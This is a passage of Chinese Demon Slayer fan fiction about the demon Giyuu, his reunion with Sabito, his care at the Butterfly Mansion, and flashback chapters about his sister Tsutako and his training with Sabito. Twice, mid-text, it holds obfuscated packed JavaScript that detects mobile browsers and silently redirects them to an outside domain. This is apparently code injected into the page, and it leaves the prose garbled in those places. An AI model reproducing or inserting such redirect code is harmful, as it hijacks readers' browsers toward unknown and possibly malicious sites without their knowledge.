是自己眼花了吗?是幻觉吧。可之前确实听到了那个女人的声音。而且义勇不确定鬼是否存在眼花的可能。总之之前的情绪都被打断了。 他感到困惑,直愣愣地跪着戳在地上看着一群人,以为首先看到的会是笨蛋人类夫妻,结果完全不是呢。 野猪野猪野猪。 野猪少年猪突猛进地撞了过来,像炮弹一样砸到了义勇怀里把他一下撞翻过去,兴奋地压着他哈哈大笑:“nia——niania——第一!是俺赢了!俺第一个抓到了鬼!” “……” 义勇被野猪少年撞倒,野猪少年还一边双臂展开搂紧他把他锁住,高兴地说着抓到鬼什么的。可他在刚才看月亮的时候为什么不抓,一直很兴奋地撞墙,义勇不明白野猪少年的脑回路。 义勇没有挣扎,随遇而安地躺了下去。野猪少年吵吵闹闹的,义勇躺在地上扫了他一眼,冷淡道:“聒噪。”义勇希望野猪少年能改变自我,做一只安静的野猪,当然被完全忽视了。 “……”他无声地看向剑士,想让他把不听话的小只人类提走,可剑士居然把脸转向一边装作看不到。义勇感到意外,略微睁大了眼睛。 剑士是想看他笑话吗。剑士怎么这么幼稚。 义勇分神想着,内心平静,左腿屈起往上一顶,在野猪的嚎叫声中面无表情地将人踢飞出去。身上一轻,他坐了起来,听到一阵紊乱的呼吸声,女人一把扑到他怀里抱住了他。义勇被身上柔软温暖的触感惊到了,原本要推开的动作也停了,睁大眼睛一动不动地被女人抱着。 “真的是你……太好了太好了你没事……”女人搂着她不停说话,语无伦次。 ……啊。笨蛋人类夫妻好好的没被鬼吃掉啊。义勇感到肩膀传来一阵奇怪的湿热触感,后知后觉地意识到笨蛋人类女人哭了。他微低了头观察着靠在自己身上的女人。 “从那以后我就一直担心……对不起对不起……你还好好的真是太好了……啊我这是怎么了,我也控制不住……真的太好了……” ……太好了?……因为自己没事太好了?是听错了吧。 义勇眨了眨眼,迟钝地思考人类话中的含义,应该是这样没错,但他没被人类释放过这样的感情,所以不敢相信。这种感觉很奇怪,他想挣脱开,又担心控制不住像上次一样伤害到人类,只能笨拙地手臂向后支撑着身体,像一块石头任由女人抱住。身体在微微颤抖,他有点想逃。忽然肩膀被一只温热的手搭上,义勇看向一边,男人露出了憨厚的笑容。 “……”被安抚了。义勇呆呆地看着人类,逃走的冲动消失了。 义勇放弃了挣扎,很没办法的一动不动坐着,很快就无法保持从容,绿色少年蒲公英少年和蝴蝶们也扑了上来,还有被踢走又跑回来的野猪,一群人混乱地抱成一团,场面乱七八糟。 义勇无法理解人类的热情,面无表情地被携裹着在人群中挣扎,迟钝地意识到被困在一群弱小人类中的自己太过滑稽,默默缩小了身体钻了出来。 人类们自己玩去吧,他甩了甩袖子把闹剧丢在身后。习惯性整理过大的衣服,没摸到怀里的面具。 49 面具面具面具。 义勇像在找野猪一样找重要的面具。 是掉到哪里了吗。义勇正跪在地上摸索时,两半面具被一只熟悉的手拿着闯进了眼帘。义勇抬头,看到了不知何时走过来,正半跪在地专注看着他的剑士。 剑士轻声道:“是在找这个吗?”很温柔平和的样子。 义勇没说话,试探着接过面具,剑士始终面不改色看着他。 心脏似乎被扎了一下,升起一股奇怪的感觉,分辨不清哪种情绪。无法言说与表达,他垂下了眼眸。 “谢谢。”义勇认真思考后,第一次主动和剑士说话,感谢剑士保护了笨蛋夫妻,他们能来这里也一定和剑士有关,需要好好感谢。果然剑士很惊讶地顿住了。 “……还有,谢谢你帮我找到面具。”他自顾自补充道。清冽的声音让锖兔动作停了,眼中升腾起其他情绪。 “……” 一时双方无言,义勇仍沉浸在自己的世界中。气氛似乎发生了变化,是因为剑士几次抓他吗。好像是又不是,左右为难的问题让他低下头去,没注意到对方安静得反常,没注意锖兔始终在他身上没移开的视线。 忽然一直安静放在身侧的手腕被用力握紧,剑士一只手伸了过来,青筋暴起。疼痛让义勇从思索中抽身,才意识到剑士一直没有说话。 “你……?”他不解。 然后就被拉过去扣在怀里抱住了,义勇感到意外,但因为被抱得很紧无法歪头去看剑士的脸。剑士又在生气吗。 锖兔埋低了脸,沉默地把少年形态的鬼扣进怀里。 只是一次对话,艰难维持的平静就崩塌了,锖兔将义勇紧紧扣在怀里:“终于……”真的不是梦。 “我终于把你找回来了。” “……?”剑士对鬼的执着是否已不太正常,即使记忆十分空白,义勇也感到了异常。剑士总做些稀奇古怪的事,但并不讨厌,于是义勇怀着平和的心情宽容了剑士,在迟钝懵懂的状态中像一具人偶任人摆动。 就当在报答剑士吧,他平静想着。忽然被松开了,剑士扶着他的双肩,神色变了。一股毛骨悚然的恐惧感突兀地爬了上来。剑士的嘴唇张合着。 “义勇,你……”充满思念和期待的表情逐渐在锖兔脸上展现,却让他恐惧得全身发麻。 够了,不要再继续说了。义勇惊恐地望着剑士,现在的剑士就是个刽子手,要说出很恐怖的话了。义勇不明缘由但确定自己会因此毁灭。 剑士对他说了过分的话。 50 包括对鬼的情况比较了解的蝴蝶忍和一起赶来的蛇柱伊黑小芭内,鬼的暴走在所有人意料之外。 在附近闹成一团的炭治郎他们也被吓了一跳,等意识到有事发生时,锖兔已经被恢复形态的鬼踢开,撞到了数米远外的石墙上砸出一个人形坑洞。巨响声落,灰尘四起,鬼眼神空洞,倒退着一步步远离他,无措地捂住耳朵跪了下去。 这是一场安静的暴走,除了锖兔外鬼没有攻击任何人,也没有反抗或逃走的意图,不如说他在此之前就陷入了丧失意识的状态,被蛇柱用带子控制住了也没有挣扎。 伊黑小芭内揪着带子,“啧。现在是什么情况?不如先解释一下吧鳞泷——喂,你干什么?” “……”锖兔将自己从坑里拔出来,不顾同伴的阻拦靠近了鬼,用手托起了鬼的脸,“义勇?”没有用,还是捂着耳朵失去意识拒绝交流的状态。他无法接受。 炭治郎走了过来,“锖兔桑……”他也很不好受。 “只能先这样了。”蝴蝶忍皱眉取出了随身携带的麻醉剂。 鬼的动作一滞倒了下去。 51 今夜的骚乱平息后,三位柱暂时得到了空闲。蝴蝶忍给锖兔做了大致的检查,好在骨头没受伤,淤青和擦伤过几天才能消退。 “创伤后应激?” “是的,”蝴蝶忍回忆起义勇醒来之后的各种表现,结合他面对锖兔时的失控做了大概的判断,并向两个门外汉稍作解释。 她比着手势轻声道:“我猜测,鬼先生之前经历过特别严重的、痛苦的事,长期的痛苦和创伤导致了记忆封闭,因为会感到不安所以拒绝回想呢。”很合理的推断,祢豆子会保留哥哥的记忆义勇却对过去一片空白,明显是有其他因素。 她若有所思,“鳞泷先生,你知道他在对什么感到在意和痛苦吗?” “……”锖兔的沉默维持了好一会儿,“伊黑,蝴蝶,你们知道吗?义勇他以前要比现在更喜欢笑,也没有这么沉默。” 他没在意同伴们意味不明的目光,难言的复杂心绪填满了心脏。一样的经历,相似的命运,怀着相同信念的少年,从狭雾山开始他们就踏入了彼此的人生,理解着彼此的痛苦和认真。他知道面对鬼的危险恐怖,早已明晰也许两人间会有生死分离,但没想过义勇会离开得那么早。 锖兔神情晦暗,“如果不是义勇,我当年就不会通过最终选拔了。他那么努力地想为姐姐报仇,那么小就每天挥刀到深夜,很害怕却还是每天去闯山上的机关,我觉得那是另一种意义上的强大。 义勇总说自己很弱比不上我,但他不知道……我其实,一直在追逐着他。所以我很生气,还因此斥责了他,让他一定要背负着逝者的信念活下去。 义勇是……我最重要的人。他救了我为我而死,那之后我背负起了他的信念。” 他没敢想在几年后能和义勇重逢,哪怕义勇变成了鬼,他也无比庆幸。能和你遇见真是太好了,你还活着真是太好了。他一直这么想,直到今天清晰地看到了义勇一直忍受的痛苦,才意识到在自己向前奔跑的时候,义勇被独自抛在了原地,他就这样错过了义勇很多年。 自己已经继续前进的那些年,义勇在做什么呢。 为什么会变成鬼,在我看不到你的时候你遇到了什么。我参加训练成为柱和同伴们一起生活的时候,义勇你在哪里呢。有被欺负过吗,受过伤吗,孤独吗,是不是像小时候总不知所措。你是什么样的心情呢,是不是像我一样难过。……你始终如此痛苦吗? 他动摇了,拳头握紧,“我是个不称职的家人,不称职的师……”说不出话了,因为蝴蝶和蔼可亲地笑着用力捏住了他的脸。锖兔:“……” “啊呀,我不知道,原来鳞泷先生也有这么多愁善感的时候呢。但即使消沉下去也解决不了问题哦,不如讨论一下解决方法吧,我是这么想的。”完全不像很开心的样子呢,蝴蝶。 “就是啊,鳞泷。”伊黑小芭内也早看不惯他失落的样子,“收起你现在的表情,你平时那股气概呢?自怨自艾的姿态真是难以入眼。” 被伊黑小芭内指着的锖兔:“……”他愣住了,脸也被蝴蝶忍捏着不放。原来在他们眼里自己很消沉啊。这群同伴,自己真是,拿他们没办法啊。而且义勇不也还活着吗,已经足够了。 沮丧确实不符合自己的作风,他握了握日轮刀柄,抬眼的瞬间就恢复了镇定从容,真诚笑道:“我明白了,蝴蝶。” “有关义勇的状况和治疗,请务必全部告诉我,我会全力配合。还有各位柱的同伴,感谢大家对义勇的照顾。” 把自怨自艾抛诸脑后了啊,不得了的强大心态。 果然还是那个了不起的水柱啊,啧,这样不就行了吗鳞泷,保持微笑的蝴蝶和保持嫌弃的小芭内同时感叹。 52 和别人猜测的不同,义勇的心态还算平和。其实锖兔当时还未来得及说更多就被他打断了,所以成功维持了平静状态。感谢这种鸵鸟心态,实在为他减少了很多烦恼呢。 只是——义勇在意识深处站着,冷静注视着几米远外的黑暗里模糊的人影。 义勇知道他不是姐姐也不是别人,不明白他为何会出现在自己的梦境,只是固执地站在原地不动。义勇冷静道:“离开吧。不要来这里了。” 可人影还是不动,义勇皱眉,“这里不欢迎你,不要留在这里了。”他很不安,但人影的光芒越来越亮,几乎要灼烧起他的世界。义勇无动于衷,安静地站着一动不动,他很困惑,不理解为何心中又会生出痛苦。他强作冷漠地盯着远处望着他的影子,固执地说出了自己也不能理解的话。 “你抛下了我。”他不认同,不理解自己的偏执从何而来。这句话、绝对不能说这样任性伤人的话吧,没用的人是自己才对吧。但义勇就是强迫自己说出来了,他自虐般重复说着。 过了很久他垂下了头,“我追不上你。” “……是你把我丢下了。” 53 蝶屋。不知过了多久,义勇在朦胧中听到了一些声音。 感到一丝束缚感,他的手动了动伸出了被子,又很快被一只有力的手抓住塞了回去。熟悉的强硬态度让他想起了剑士。 剑士……剑士对自己说了非常过分的话。 哪怕记忆一片空白,义勇也在固执地说服自己。他平静地想着,剑士当时一定说了过分的话,所以自己动手了。 所以剑士被踢了很远撞到石头。 所以自己也被蝴蝶钉了麻醉剂。 一定是非常过分的、自己不想听的话,所以自己才会拒绝回想,一想到这件事就全身颤抖。义勇想不起来也不敢想,剑士实在是很可怕。他怀着鸵鸟心态将当时的心情定义为愤怒,直到现在身体还能记起那份战栗。 麻烦的、让人不知所措的剑士。义勇内心平静,刚被塞回被子里的手又伸出来拽住剑士的袖子,眼睛也睁开了。他望着天花板认真道:“对不起。” “……哈?” 很不想再看见鬼那张惹人心烦的脸,却被要去向主公汇报情况的锖兔拜托临时照看义勇的“剑士”不死川实弥:“……”他臭着张脸盯着被鬼死死扯住的袖子,语气不善,“给我松开。” 后知后觉意识到哪里不对的义勇:“……”他反射性地松开了手,突然出现在床边的暴躁剑士让他震惊,一时无措,就那样坐起来离远了点冷淡地盯着暴躁剑士。义勇面色微冷,对刚才的话有点后悔。 莫名被嫌弃的不死川实弥:“……”不死川实弥额角冒出了青筋,真心觉得自己和这只鬼气场不合。他也懒得和鬼聊天,呆在这的目的就是防止他乱跑,干脆冷笑一声拉着椅子坐到了和义勇对角线的墙角,冷酷地盯着他。 一人一鬼,一个笑容狰狞一个冷若冰霜,截然相反的气场在屋子里对峙,推门进来的锖兔:“……?” 锖兔也感到了困惑。 54 义勇没能继续和暴躁剑士对峙下去,剑士走进来后他就无法保持气场了,默默转移了视线去看被钉死的窗户,听着暴躁剑士和剑士打了声招呼,冷笑了一声离开了。剑士似乎在门口停了停才走过来坐到他旁边,义勇没有反应,过了一会儿忽然感觉手被握住了,人类温暖的体温传了过来。 义勇:“……”他不去看剑士包着纱布的脸,剑士不和他说话,他只能默默低头盯着身上的被子,平静道:“我很抱歉。”很抱歉再次伤害了人类。从遇到剑士起他就一直在做错事,他自己也不知道要怎么办了。剑士就什么都做得很好,包括抓住自己也做得不错。他神情平淡,对自己毫不在意的态度让锖兔另一边的手拳头握紧。 义勇沉默着,剑士忽然握紧了他的手命令道:“把脸抬起来。”他僵住了,不敢相信这是剑士对他说的话,无措中脸埋得更低,显示出一丝可怜的姿态。剑士仍不放过他,语气严厉:“抬起来。” “……”义勇无法逃避,只能抬起头,被剑士扳过来直视剑士那张坚定不移的脸。剑士直视着他认真道:“你永远不必向我道歉。” “……”义勇失去了反应的能力,只能呆呆看着他。 “还有一件事。”肩膀被扶住,头上一重什么东西被剑士挂了上去。他躲了下,剑士又平静道:“好好待着。”于是义勇真的安静待着了。搞不清楚那是什么,义勇一动不动地被剑士摆弄着。剑士很有耐心,很快带着凉意的东西侧挂在耳边,剑士转了下把它转向义勇的正脸。透过孔洞义勇看到了剑士专注的眼睛,“不是喜欢狐狸面具吗?现在它是你的了。” “告诉我,还在感到难过吗?” “……”义勇怔怔地看着剑士。什么话都说不出来了。 他抬手,摸到了面具侧方熟悉的伤疤。 55 如果当时剑士坚持要他回答的话,义勇没有感到难过,心情是轻松茫然的。 因为总是在折腾着逃走义勇进入了虚弱期,大多时间只能躲在黑暗的屋里恢复消耗。这段时间剑士就像什么都没发生过一样和他一起呆在屋里,需要书写东西时会在角落里点灯。 义勇会思索一些事。本以为剑士会看得他很紧,比如绑起来或关到笼子里防止他逃跑,可剑士只是坚持每天来看他,没有审问研究他的意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557056|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很奇异的感觉,遇到剑士后义勇体验到了很多不同的情绪,但剑士给他的感觉总是最特别的。所以在剑士送给他面具后义勇就在默默研究这只剑士。 剑士为什么要抓我。剑士为什么要带来笨蛋人类夫妻。剑士为什么从不生气,为什么送我他很重要的面具。剑士有“锖兔”这个名字,为什么从不问我不称呼他名字的原因。剑士是否在鬼杀队很清闲,所以时常来这里找我。剑士真的不会无聊吗。剑士剑士剑士……义勇没意识到这只剑士已经完全侵入了他的生活,而自己完全没有被冒犯的感觉,甚至堪称乖巧地接受了他的所有安排。 剑士又要准备出发了,义勇不知道又有哪里的鬼要倒霉,也完全没有替他们祈祷的意思,安静地看着剑士。剑士本来要走了,忽然又走了回来。 锖兔端详着他,“怎么了?不舒服吗?” “不会。”认真的话可以在你走了之后把房子拆掉。 义勇掩饰地低头研究手上的棉花手套。剑士认准一件事后总会一根筋地贯彻到底。剑士执着地留他在身边,就没有想从他这知道的吗。剑士,似乎一直在为他付出。 锖兔观察着他,“无聊了?想出去走走吗?我去叫蝴蝶们过来?” “不会无聊。”放过我吧。 剑士总是很有耐心,性格很好,“那告诉我,你在犹豫什么。” “不要不说话。”一只在某些时候很强硬,说一不二,古古怪怪的剑士。义勇又在研究他。 义勇默默看着他腰间空了一块的地方,终于问出了口,“……你把很重要的东西交给了我。那个面具。” 锖兔恍然大悟,怪不得一直觉得义勇有话想说。他看着义勇把面具珍惜地捧起来,沉寂如深海的眼睛迷茫地望过来,“你轻易就送给我了。” 是要问为什么吗?锖兔观察着义勇的神态。义勇没继续问,但一丝迷茫的情绪传了过来。锖兔想到了蝴蝶忍“尽量避免直接的刺激,循序渐进地去引导”、“避免做会刺激到他的事”的建议,当时也是考虑到义勇并不排斥他,锖兔才选择了现在的相处模式。那之后他没主动问过义勇什么问题,义勇却很好奇这个吗? 他想了想,直接走过去把面具推回到义勇手里,特意说得很慢,望进他的眼睛,“这是师父做给我的消灾面具,它确实很重要。所以。” 义勇更疑惑了,“所以?” “……”,锖兔试探道:“所以就给了很重要的人了。” “……” 义勇瞳孔震颤,有点迟疑地望着他,“剑士……你要用它绑架我留下吗?”站在道德的制高点,这就是剑士的目的。 锖兔:“……”差一点他就没跟上义勇的脑回路了。 他无奈望天,认输了,“骗你的,其实是心血来潮做的,只是一个普通的面具。跟你的款式很像,就当我在真诚道歉吧。” 义勇若有所思地望着(研究)他,安静地把面具像以前一样挂到了身上,坏掉的面具被收了起来,锖兔相当满意。 相当满意的水柱放心离开去找倒霉蛋们了。 56 义勇觉得现在的生活和以前很像,除了多了只总不请自来串门的剑士,和眼前少了那两只人类夫妻以外,和在山洞里平静的生活没什么区别。他久违地感到了安心。 但果然还是很想念笨蛋人类夫妻。义勇穿着病号服躺在床上,剑士不在的时候义勇就会想起他们,不知道他们在鬼杀队怎么样了。还在做打猎的工作吗?义勇脑中涌现出笨蛋夫妻赶车回鬼杀队的情景,好傻。 还有人类少年们。虽然人类少年们很吵,但义勇并不讨厌。是消耗太厉害了吗,义勇不确定自己是否会在无意识时伤害人类,因为最近都没见过蝴蝶们和绿色少年他们了。 义勇面无表情地发呆,心中涌现出奇怪的空虚感,可自己明明过的是和以前差不多的生活。 放空心情的时候没注意到门被敲响了,门被打开的声音传入耳朵。义勇躺在床上安静转头,想看看剑士有没有因为猎鬼受伤,结果没有剑士。笨蛋人类女人小心翼翼探出头,在黑暗中找了一圈发现了他,快速走到床前,笨蛋猎户走在后面关上了门,一起围在床边。义勇坐在床上安静地看着他们。 你们在鬼杀队还好吗。义勇是想这么问的。但是笨蛋人类女人把他上下扫视了一圈,柔软的手指轻柔地搭在他的肩膀上,像以前在山上一样笑了,于是义勇明白问题已经没有了问出口的必要。所以他说了另一件事。 “对不起。”郑重道歉了,虽然已在梦里说过多次,男人女人也像梦里一样围在自己旁边。义勇感到很熟悉。但也不一样。 笨蛋夫妻没有像梦里一样转圈,而是女人挽着男人的胳膊拉扯开他的衣领,让义勇看到早就愈合的伤口。 “刚志你不要这么呆嘛,被跟踪了也不知道总让人操心呢~富冈先生你看,刚志的伤恢复得很好哦!富冈先生真的好厉害,一下子解决了那个怪物呢!真的真的很感谢你~” “啊啊我知道我知道啦和代,”男人很不好意思,“难为情啊,跟富冈先生比起来我真的好弱啊。” 义勇:“……”义勇和被老婆呼来唤去的男人对视,默契的产生了共鸣:笨蛋女人/和代已经成为房间里地位最高的人了。他难以应付人类的热情,慢半拍阻止也被强大的女人无视。可她不是很柔弱来着吗。 强大的、高高在上的女人又撸起自己的袖子,指甲的划伤也未留痕迹。 “富冈先生居然还在在意这种小事……完全不用担心哦!富冈先生只需要安心休息就好了!这里的工作也完全没有困难!”笨蛋女人轻松笑道,“因为富冈先生需要休息我们才等了很久呢,但真的真的很想念富冈先生,加上总在想‘有没有好好休息呢富冈先生’、‘不会在一个人发呆吧富冈先生’……我也总是睡不着觉呢,果然还是要来看望富冈先生啊。” 被挂念的·年龄比笨蛋夫妻小·不会照顾自己的富冈·义勇先生:“……”他呆呆地望着人类,又可惜不善言辞,于是眼眸微垂睫毛颤抖起来,艰难思索合适的句子。富冈先生富冈先生富冈先生……我们真的很挂念您。这样说着,女人喋喋不休的话里忽然有了泣音。她丢掉强撑起的架子摸上了义勇的左脸。 “我……你是我很重要的人啊。我一直很担心。” “能遇到你真是太好了。” “……!”为什么女人总是哭。表情因为脸上陌生的触感变得空白,义勇不太熟练地安慰她。女人看到他伸过来的手臂想起什么,有些羞愧地打开了随身布包。 差点忘了,上次看到你的袖子破了一块,所以干脆做了新的一样布料的红色衣服呢。 女人满脸期待地看着他,“能试一试吗富冈先生……” 义勇:“……”意识到自己很喜欢他们的义勇无法拒绝。 义勇被劝着穿上了新衣服,高挑的一身站在屋子中间,夫妻两个围着他。“果然富冈先生穿什么都好看呢。”女人拍拍他的肩膀,“出去透透气啊富冈先生。”义勇:“……”他无法拒绝笨蛋人类夫妻。 无法拒绝笨蛋人类夫妻的义勇出门透气了。 五分钟后,义勇因为出神在拐角撞到了人很好的蜜璃剑士。蜜璃剑士惊呼一声向后倒,义勇伸手拽住了她。 “抱歉抱歉我走神了~”甘露寺蜜璃忽然惊呼出声,“咦咦咦——”她看到了只在出逃时能在外面看到的锖兔一直在照顾的义勇先生。红色衣服身形高挑的鬼眼睛一眨不眨地看着她。 蜜璃:诶诶诶——! 喜欢和义勇搭话的蜜璃剑士发着光凑近了他,“是真的吗是真的义勇先生吗?义勇先生真的到外面来了吗?呐呐……义勇先生,好惊喜的说!我真的好开心!” 义勇:“……” 义勇俯视着她,很快默默将头转向一边,面无表情的脸在月光下变得柔和。 “蜜璃。” 蜜璃剑士很好,义勇从心底觉得能讨厌蜜璃剑士的人很可怜。 某不知名可怜人士:“……” 10. 第 10 章 番外 【姐姐】 义勇还是个小孩子的时候人缘并不算好,附近的孩子总嘲笑他没有父母,是没人要的孤儿。 每当这个时候义勇就会觉得很难过,因为父亲母亲确实早早病逝,没有父母作为后盾支撑,自己无法反驳。但是大她几岁的姐姐从家里跑了出来,举着棍子把一群混混赶跑了。 茑子一生气脸色就会涨的通红,义勇站在家门口看着她气喘吁吁跑回来,叉着腰用长姐的架势大声说。 “义勇,你听好了,爸爸妈妈只是生病离开了,我们才不是没有父母的孤儿呢!而且不是有我在吗!” 茑子笑容灿烂:“下次再有人敢这么说你,姐姐就替你教训他!”可是姐姐没比自己大多少啊。 义勇没再遇到欺负他的混混们了,但还是在某一天呼唤了茑子姐姐。因为回家路上遇到一只小狗,一起玩的时候被咬到了屁股,义勇不敢动,只能趴在离家不远的土道上呼唤姐姐。 在姐姐的惊呼声中热情的小狗放过了他,义勇抹着眼泪被扶起来,乖乖站着由姐姐拍打干净身上的灰尘。 “它只是太喜欢我了。”他对姐姐强调。 茑子心疼又好笑道:“义勇,你这样以后要怎么办呢。总这样被欺负了也不知道,姐姐很不放心哦。” 义勇:“啊?”他是真心觉得小狗很喜欢他的。茑子于是摸了摸他的头。 父母逝世后留下了还算富足的遗产,因此姐弟二人得以互相陪伴着生活。不大不小的家被茑子操持着,各种家务安排得井井有条,她身体不太好却总展现出旺盛的活力,还未成年就比一些同龄少女更加稳重,大事小事都学着去做,逐渐的越来越像早早逝世的母亲。 对比起来义勇要比同龄人更显单纯和稚拙——茑子把他照顾得太好了。义勇也想有像姐姐一样文静的吃相,无奈学艺不精只会了架势,吃起饭来就会露馅。茑子也想不明白他是怎么把饭粒弄到额头上的,每次都好笑地替他擦掉。义勇迟钝地认为这是成功的表现,于是一直坚持这样吃饭。 茑子纠正他,“义勇,不能这样的,你有点像隔壁街上眼睛不太好的阿婆。吃饭的时候要注意看饭碗哦。” “知道了姐姐。”于是他真的努力去改,神奇的是这个习惯在茑子的帮助下最后也没改过来。“我们放弃吧。”茑子无奈道,“你怎么舒服怎么来吧。” “人只要健康活着就可以啦。” 说这话的姐姐没过几年就死掉了。 义勇记得她死的前不久刚定了亲,鲜红的嫁衣穿上身十分美丽,他才意识到姐姐已经是一位待嫁的新娘了,很快就会和心仪的男子结婚组成美满的家庭。 义勇很舍不得,在房间里窝了好几天生了病,茑子怎么问他也不说,着急地哭了。义勇才慌忙抱住了她,茑子哭笑不得,告诉他自己不会离开,只是要带上另一个人和义勇一起生活。 “等义勇成年了我才能放心吧。不对,”姐姐取笑他,“成年了恐怕也不行呢。我应该会为亲爱的弟弟操心一辈子呢。” 一语成谶。 茑子到死都在为他操心。 义勇很后悔当时和姐姐闹了别扭,也许就是因为闹别扭让姐姐的玩笑成了真。明明活过今晚就会迎来幸福的人生,姐姐却在出嫁前一天夜里被鬼杀死了。 手臂细弱还是位少女的姐姐拉着他跌跌撞撞地奔跑,带着他来到角落的储物柜前。义勇想不明白她怎能爆发出那么大的力量,用力掰也掰不开抓住自己的手。 “义勇,一定要记住我接下来的话,”茑子捧着他的脸恳求他,“不要看也不要听!绝对不可以发出声音,绝对不能死在这里!活着,从今以后无论有多难过也要努力活下去!”可是鬼已经要走到你身后了啊,姐姐。 姐姐,放弃我丢下我吧。我是个没用的人,丢下这个累赘,你就可以逃走拥有属于你的幸福了。 “对不起,对不起,不能看你长大成人……”姐姐哭了。 “……” 一切就像一场梦,义勇被噩梦冲击得无法回应,最后也没能和姐姐说上一句话。茑子把他推进柜子里,用棍子卡住了柜门。 …… …… 然后义勇什么也记不清了,血腥味,咀嚼声,他像木头一样接受了一切信息。自己真的没发出声音,自己真的活下去了。自己看着姐姐去死,什么都没能做到。 怎么被找到并从柜子里被拉出来,怎么踏过屋里的狼藉,都不记得了,被问到姐姐去哪了,也只是浑浑噩噩说着被鬼吃掉了。义勇被怀疑精神受了刺激要被送进医院也没反应,只是抱着姐姐的衣服坐在车上发呆,这时同行的婆婆对他说了姐姐的事。原来姐姐拒绝了原本心仪的对象,才找了现在的未婚夫结婚,因为之前那个男人已经有了几位兄弟姐妹,无法接受她带一个累赘进家门。 “你怎能贬低我的家人!?我是不会和你这样的人结婚的!”男人道歉也挽不回,茑子坚决拒绝,找了另一位岁数稍大但性格温和的男人结婚。 “已经很满意啦,是位很尊重我的人,听我说了之后也很喜欢义勇呢。结婚后义勇可以搬来一起住,家里也算有男主人啦。” “义勇长大了遇到困难了,我们就一起支持他,也算很美满的一家人了吧。” “义勇不是累赘,从来都是我最重要的家人,我会守护他一生。” 可是姐姐,我一直在拖累你,是个很没用的人。我宁愿你的人生里没有我。 姐姐。 ——! 邻居们都以为他被刺激傻了,义勇却忽然动作,在人们的惊呼声中从车里跳了下去。 义勇冲破了身前的一切阻拦,奔跑中天地间只剩下他孤独一人。 趟过浅河穿过森林,被强盗追赶着也不害怕,彻骨的仇恨支撑着他不断前进,从此毕生的愿望只有这一个—— 他要杀尽世上所有的恶鬼。 【幸福】 锖兔一直很讨厌懦弱的人。明明拥有改变现状的条件却懦弱无力,他绝对拒绝成为这样的人。他的梦想是成为像父亲一样顶天立地的男子汉,被鳞泷师父收养教导以后,一直目标清晰地要成为支撑别人保护弱小的猎鬼剑士。 所以第一次见到那个跟他同岁的孩子时,他不太看好来着。 送那孩子来的人是鳞泷师父的旧友,从强盗手里救下他送了过来。唯一的亲人被鬼杀死,这个孩子心中有对鬼的强烈的仇恨。鳞泷师父被告知了他的遭遇,答应收留他教导他斩鬼的方法。但那孩子明显娇生惯养,稚嫩懵懂,根本不是只有仇恨能解决的问题吧。 锖兔和他差不多高,好奇地拍拍他的肩膀,“你叫什么名字?” 对方抬起了头,锖兔发现他有一双雾蒙蒙的蓝色眼睛。 声音沙哑,“义勇,富冈义勇。”锖兔记住了这个名字。 很奇怪,锖兔不看好,却并不讨厌他。锖兔不在意义勇不爱说话,坚持告诉了他自己的名字,“是男子汉就昂首挺胸抬起头来!我也要学习杀鬼,鬼也害死了我的家人,和你一样!所以不许流眼泪了!” 义勇真的擦干眼泪好好站着了,转眼又有眼泪落下来。他躲闪着锖兔的目光垂下头,“抱歉,我很没用。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557057|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更难过了。 傻了的锖兔:“……”他结巴了,想不到对方是这个性格。鳞泷师父默默锤了下他的脑袋让他和义勇打好关系。 锖兔确实很认真地在和义勇打好关系,难得有一个师弟,什么都帮,什么都教。 和稚拙的处世方式相反,锖兔惊讶于义勇百折不回的毅力和出色的天赋。摆脱开情绪束缚去训练后,义勇和他一样,展现了有望成为“柱”的珍贵的才能。“锖兔,也许未来你会和义勇并肩战斗吧。”鳞泷师父这样告诉他后,锖兔感到非常非常开心。 只是虽然是同龄人,义勇给他的感觉却好像年龄更小的弟弟似的,总需要照顾。锖兔自己都没想到会适应角色适应得这么快。 想让义勇别那么阴沉,锖兔抓住机会就会开导他。吃饭的时候,跑步的时候,爬山的时候,半夜睡不着觉的时候,甚至双双掉进陷阱的时候,锖兔都在找义勇说话。义勇不擅长说话,倒很喜欢听他讲话。说啊说,说话多了锖兔自己都嫌弃自己婆婆妈妈的。 比如现在,跟踪着半夜出来散步的义勇,看他很可怜地靠着巨石抱膝缩成一团。锖兔早有预料地叹了口气,挨着他的肩膀坐到了旁边。 “锖兔……” “只是在散步。” “哦……”义勇偏过了头,锖兔装作没看到。 锖兔平静道:“没看到你哭。” …… …… …… “可是,锖兔,我觉得感到幸福是一种罪过。” “嗯?为什么?” “姐姐死了,我没能救她,现在的我是苟且偷生。” “哈?”数不清第几次有这种感觉了,锖兔简直无奈生气到没有办法,握住他的肩膀认真说,好像这样道理就能塞进义勇的脑子了,“你要明白,你一直在过的是你自己的人生!家人再重要,也不是你的人生毫无价值的理由! 恰恰相反,你的姐姐拼了命也要救你让你活下去,不正说明了你的存在非常重要吗?你很重要,重要到有人为你付出了生命,所以你要努力活得比过去更好!” 义勇因为他的话动摇了,不知所措,“我很重要?” “当然了,”锖兔努力开导他,“你很重要,值得姐姐用生命保护。所以保护了你的姐姐在最后也不会后悔,而是会非常庆幸你能平安活下去吧。” “真的?锖兔,真的是这样吗?真的可以得到幸福?姐姐不会怪我吗?”义勇就像着急确定这件事似的反复追问。他在感情方面相当笨拙,又实在很依赖锖兔,把他说的话都当做有用的道理,也确实一直被引导着。 